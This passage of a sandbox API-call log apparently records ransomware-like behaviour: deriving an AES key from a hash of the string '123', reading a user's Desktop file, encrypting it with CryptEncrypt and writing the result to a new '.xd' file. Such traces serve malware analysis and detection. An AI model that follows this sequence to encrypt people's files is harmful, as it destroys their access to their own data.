lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0081.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0081.358] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.358] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.358] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.358] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0081.358] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621798, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0081.358] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0081.358] CryptHashData (hHash=0x164c7f0, pbData=0x16293e0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0081.358] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.359] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.359] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.359] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.359] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.359] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0081.359] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.359] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0081.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621828, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0081.360] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0081.360] CryptDeriveKey (in: hProv=0x1632100, Algid=0x6610, hBaseData=0x164c7f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c2b0) returned 1 [0081.360] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.360] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.360] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.365] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.365] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.365] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.365] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0081.365] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0081.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0081.365] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0081.365] CryptDestroyHash (hHash=0x164c7f0) returned 1 [0081.366] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.366] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.366] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.366] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.366] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.366] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\wm4yqew.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0081.366] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.367] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0081.367] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.367] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.367] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.367] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6")) returned 0x10 [0081.368] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\wm4yqew.m4a.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0081.372] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.372] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.372] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.372] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.374] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0081.375] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xdd55, lpOverlapped=0x0) returned 1 [0081.377] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0081.380] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0081.380] TranslateMessage (lpMsg=0x130f164) returned 0 [0081.381] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0081.381] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0081.385] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0081.386] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0081.386] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.386] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.386] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.386] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0081.387] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.387] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.387] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0081.387] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.387] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0081.387] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.387] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.387] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.387] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0081.387] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0081.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0081.388] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0081.388] CryptGetKeyParam (in: hKey=0x164c2b0, dwParam=0x7, pbData=0x16294b0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294b0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0081.388] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.388] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.388] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.388] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.388] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.388] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.388] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.388] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.388] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0081.388] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.388] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.388] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0081.389] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.389] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.389] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0081.389] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.389] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.389] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.389] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.389] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.389] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.390] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0081.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621810, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0081.390] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0081.390] CryptEncrypt (in: hKey=0x164c2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xdd55, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xdd60) returned 1 [0081.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.390] CharLowerBuffW (in: lpsz="byte[56673]", cchLength=0xb | out: lpsz="byte[56673]") returned 0xb [0081.390] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.391] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.392] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.392] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.392] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0081.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0081.392] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0081.392] CryptEncrypt (in: hKey=0x164c2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180a340*, pdwDataLen=0x130e618*=0xdd55, dwBufLen=0xdd60 | out: pbData=0x180a340*, pdwDataLen=0x130e618*=0xdd60) returned 1 [0081.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.393] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.393] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.393] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.393] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.393] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.393] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.393] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.393] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0081.393] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.393] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.393] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.421] WriteFile (in: hFile=0x3c8, lpBuffer=0x17ee888*, nNumberOfBytesToWrite=0xdd60, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ee888*, lpNumberOfBytesWritten=0x130f01c*=0xdd60, lpOverlapped=0x0) returned 1 [0081.423] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.423] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.423] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0081.423] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.423] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.423] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0081.423] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621108, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0081.423] GetProcAddress (hModule=0x74c60000, 